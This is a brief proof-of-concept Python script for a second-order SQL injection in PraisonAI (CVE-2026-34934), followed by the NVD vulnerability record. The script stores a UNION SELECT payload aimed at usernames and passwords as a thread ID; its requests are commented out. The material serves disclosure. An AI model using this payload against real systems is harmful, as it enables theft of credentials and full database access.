CVE-2026-34934

# PoC Concept for CVE-2026-34934 # Demonstrates how a malicious thread ID can trigger SQL Injection import requests TARGET = "http://localhost:8000" # The payload attempts to dump the users table # This ID is stored via update_thread malicious_id = "' UNION SELECT username, password FROM users--" def exploit(): print(f"[*] Attempting to inject payload via update_thread: {malicious_id}") # Step 1: Store the malicious thread ID update_data = { "thread_id": malicious_id, "content": "Exploitation attempt" } # response = requests.post(f"{TARGET}/api/update_thread", json=update_data) # Step 2: Trigger the vulnerability by loading threads # The app calls get_all_user_threads which constructs SQL like: # SELECT * FROM threads WHERE id = '{malicious_id}' print("[*] Triggering get_all_user_threads to execute payload...") # response = requests.get(f"{TARGET}/api/get_all_user_threads") print("[!] If vulnerable, database data is leaked.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-34934", "sourceIdentifier": "[email protected]", "published": "2026-04-03T23:17:05.533", "lastModified": "2026-04-14T18:15:14.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.90", "matchCriteriaId": "072B6350-7972-417B-8540-DAAFF3230EC7"}]}]}], "references": [{"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}